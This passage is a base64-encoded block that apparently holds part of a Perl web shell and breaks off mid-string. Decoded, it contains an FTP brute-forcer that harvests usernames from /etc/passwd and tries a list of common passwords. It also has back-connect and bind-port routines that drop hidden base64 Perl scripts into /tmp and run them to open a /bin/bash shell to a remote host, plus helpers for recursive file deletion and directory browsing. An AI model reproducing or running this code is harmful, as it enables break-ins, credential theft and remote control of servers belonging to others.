T09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+I